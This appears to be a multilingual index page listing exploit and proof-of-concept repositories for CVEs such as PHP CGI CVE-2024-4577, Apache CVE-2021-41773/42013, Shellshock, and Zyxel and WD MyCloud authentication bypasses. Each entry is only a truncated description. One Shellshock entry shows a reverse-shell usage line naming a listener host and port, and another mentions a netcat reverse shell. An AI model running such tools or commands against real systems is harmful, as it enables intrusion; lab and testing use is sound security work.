CVE-2024-4577

CVE-2024-4577 usage: CVE-2024-4577.py -h -v RHOST RPORT URL COMMAND PHP CGI CVE-2024-4577 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 positional arguments: RHOST remote host RPORT remote port URL target address COMMAND command to execute e.g. optional arguments: -h, --help show...

CVE-2021-41773

CVE-2021-41773 Exploit-PoC mit Docker-Setup. Wechseln Sie in das Verzeichnis mit der Apache-Konfiguration und der Dockerfile im Repository enthalten. Image erstellen: docker build -t cve-2021-41773:1.0 . Docker-Image ausführen: docker run --rm -d -p 4444:80 cve-2021-41773:1.0 Hinweis: Sie können...

CVE-2021-41773

CVE-2021-41773 Verwendung docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py Was ist CVE-2021-41773? CVE-2021-41773 Verzeichnisüberschreitungs-Schwachstelle in Apache HTTP Server 2.4.49. Sie tritt...

cve-2021-42013

Apache 2.4.50 - Path Traversal ou Execução Remota de Código CVE-2021-42013.py é um script Python que ajudará a encontrar a vulnerabilidade de Path Traversal ou Execução Remota de Código no Apache 2.4.50. Uma instância vulnerável de Docker é fornecida para colocar a mão na massa com o CVE-2021-420...

CVE-2021-41773-Apache-RCE

CVE-2021-41773-Apache-RCE Ein Fehler wurde in einer Änderung der Pfadnormalisierung im Apache HTTP Server 2.4.49 gefunden. Ein Angreifer könnte einen Path-Traversal-Angriff verwenden, um URLs auf Dateien außerhalb der durch Alias-ähnliche Direktiven konfigurierten Verzeichnisse abzubilden. Wenn...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Pfad-Traversal-Zero-Day in Apache HTTP Server ausgenutzt Apache HTTP Server CVE-2021-41773 in freier Wildbahn ausgenutzt CVE-2021-42013: Pfad-Traversal und Remote-Code-Ausführung in Apache HTTP Server 2.4.49 und 2.4.50 unvollständige Behebung von CVE-2021-41773...

CVE-2021-41773-Playground

CVE-2021-41773-Playground Einige Docker-Images, um mit CVE-2021-41773 und CVE-2021-42013 zu spielen. Führe docker compose up -d aus, um alle Container zu starten. Die Server laufen auf den Ports 8080, 8081, 8082 und 8083. 8080 enthält einen Apache 2.4.49 mit deaktiviertem CGI. 8081 enthält einen...

Exploit for OS Command Injection in Gnu Bash

Shellshock CVE-2014-6271 Vulhub's b...

Exploit for Path Traversal in Apache Http_Server

Apache HTTP Server 2.4.49 Path Traversal CVE-2021-41773 Vu...

CVE-2025-70545

PPC Belden ONT 2K05X Router Autor : Jeyabalaji Betroffene Produktversion: PPC 2K05X Router - V1.1.9206L Getestet auf : Windows 11 CVE : CVE-2025-70545 Beschreibung: Eine gespeicherte Cross-Site-Scripting XSS-Schwachstelle existiert in der Weboberfläche des PPC Belden ONT 2K05X Routers mit Firmwar...

Zyxel - Authentication Bypass

An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware...

it355-lab4-enterprise-lan-security

IT355 Labor 4: Sicherheit im Unternehmens-LAN & Shellshock-Analyse 📌 Projektübersicht Dieses Repository enthält eine umfassende Sicherheitsbewertung einer Unternehmens-LAN-Umgebung. Der Kernfokus dieses Projekts lag auf der Identifizierung, Ausnutzung und Behebung der Shellshock CVE-2014-6271...

CVE-2014-6271

CVE-2014-6271 Shellshock - Exploit em Python Uma implementação Python limpa, eficiente e interativa projetada para testar a vulnerabilidade Shellshock CVE-2014-6271 através da injeção de variáveis de ambiente em HTTP. 📝 Descrição Shellshock CVE-2014-6271 é uma vulnerabilidade de segurança crítica...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock Remote Command Injection Tool für schnelle Reverse Shell und Dateidurchsuchung Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py...

Western Digital MyCloud NAS - Authentication Bypass

It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the...

ZeroShell <= 1.0beta11 Remote Code Execution

ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action. id: CVE-2009-0545 info: name: ZeroShell = 1.0beta11 Remote Code Execution author: geeknik severity: critica...

Rainstorm

BadBash ist ein Exploit-Tool für CVE-2014-6271 RCE. Die Basisversion überprüft nur die HTTP-CGI-Seite und stellt lediglich eine netcat-Reverse-Shell auf Port 1234 bereit. Entwickler : Andy Yang Version : 0.1.0 Lizenz : GPLv3...

CVE-2024-10914__POC

CVE-2024-10914 - Proof of Concept Exploit per vulnerabilità di iniezione di comandi nell'endpoint /cgi-bin/accountmgr.cgi. Questa vulnerabilità permette di eseguire comandi arbitrari sul sistema affetto attraverso parametri non sanitizzati. Descrizione della Vulnerabilità CVE-2024-10914 è una...

cve-2021-42013.get

Apache 2.4.50 - Path Traversal oder Remote Code Execution cve-2021-42013.py ist ein Python-Skript, das dabei hilft, die Path-Traversal- oder Remote-Code-Execution-Schwachstelle in Apache 2.4.50 zu finden. Eine verwundbare Docker-Instanz wird bereitgestellt, um sich an CVE-2021-42013 die Hände...

cve-2021-42013

Apache 2.4.50 - Path Traversal oder Remote Code Execution cve-2021-42013.py ist ein Python-Skript, das dabei hilft, die Path-Traversal- oder Remote-Code-Execution-Schwachstelle in Apache 2.4.50 zu finden. Eine verwundbare Docker-Instanz wird bereitgestellt, um praktische Erfahrung mit...